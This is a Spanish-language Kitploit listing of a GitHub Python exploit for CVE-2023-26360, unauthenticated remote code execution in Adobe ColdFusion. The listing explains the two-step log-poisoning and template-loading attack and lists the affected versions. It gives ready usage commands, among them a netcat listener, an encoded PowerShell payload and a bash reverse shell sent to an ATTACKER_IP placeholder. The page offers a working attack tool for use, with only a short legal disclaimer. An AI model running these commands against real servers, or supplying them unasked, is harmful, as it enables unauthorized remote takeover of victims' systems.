Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Adobe_ColdFusion_RCE_Unauthenticated — Este exploit se basa en CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) y fue construido sobre el módulo de Metasploit y el jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit. | Kitploit
Herramientas/GitHubGitHub/joaoaugustom/adobe_coldfusion_rce_unauthenticated
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubjoaoaugustom/adobe_coldfusion_rce_unauthenticated

Adobe_ColdFusion_RCE_Unauthenticated

Este exploit se basa en CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) y fue construido sobre el módulo de Metasploit y el jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 2 mesesAún no revisado

CVE-2023-26360 — Adobe ColdFusion RCE no autenticado

Implementación en Python del exploit de ejecución remota de código para CVE-2023-26360, basada en el análisis del módulo original de Metasploit y del trabajo previo de jakabakos.

Por qué existe esto

El PoC de jakabakos intenta inyectar <cfexecute> directamente en el parámetro _variables y leer la salida del log de ColdFusion en un solo paso. Este enfoque falla porque ColdFusion no evalúa las etiquetas CFML en línea en ese contexto, lo que da como resultado un error 500 sin ejecución de código.

Esta implementación replica el mecanismo correcto de dos pasos utilizado por el módulo de Metasploit:

  1. Envenenamiento de logs — envía un payload _variables malformado ({<cftry>CFML</cftry>) al endpoint CFC vulnerable. ColdFusion no puede analizarlo y escribe el contenido bruto — incluido el código CFML — en coldfusion-out.log.
  2. Ejecución de plantilla — utiliza la vulnerabilidad de deserialización de classname para cargar el archivo de log envenenado como plantilla de ColdFusion, haciendo que el servidor ejecute el CFML inyectado.

La ejecución de comandos se realiza mediante java.lang.Runtime.exec() a través de createObject, evitando cualquier dependencia de <cfexecute>, que normalmente está deshabilitado en entornos endurecidos o de producción.

Versiones afectadas

  • Adobe ColdFusion 2021 Update 5 y anteriores
  • Adobe ColdFusion 2018 Update 15 y anteriores

Requisitos

root@kitploit:~
pip install -r requirements.txt

Uso

Inicie un listener antes de ejecutar el exploit:

root@kitploit:~
nc -lvnp 4444

Objetivo Windows:

root@kitploit:~
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"

Objetivo Linux:

root@kitploit:~
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

A través de un proxy (p. ej. Burp Suite):

root@kitploit:~
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080

Opciones

FlagDescripción

Cómo funciona

root@kitploit:~
┌─────────────┐         Step 1: plant CFML          ┌──────────────────┐
│   Attacker  │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
│             │      CF fails to parse, logs CFML     │                  │
│             │                                       │ coldfusion-      │
│             │         Step 2: trigger execution     │ out.log          │
│             │ ──── POST classname=X..\logs\cf... ──► (loaded as       │
│             │                                       │  CFML template)  │
│  Listener   │ ◄─────────────── reverse shell ───────│                  │
└─────────────┘                                       └──────────────────┘

Referencias

  • Aviso de seguridad de Adobe
  • Análisis de Rapid7 — AttackerKB
  • Módulo de Metasploit
  • PoC de jakabakos

Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y para evaluaciones de seguridad autorizadas (pruebas de penetración, CTFs, entornos de laboratorio). Ejecutar este exploit contra sistemas sin permiso escrito explícito es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

Descargar herramienta
--host
URL base del objetivo (p. ej. http://192.168.1.10:8500)
--cmdComando a ejecutar en el objetivo
--winActive esta opción si el objetivo es un host Windows
--proxyURL del proxy HTTP (opcional)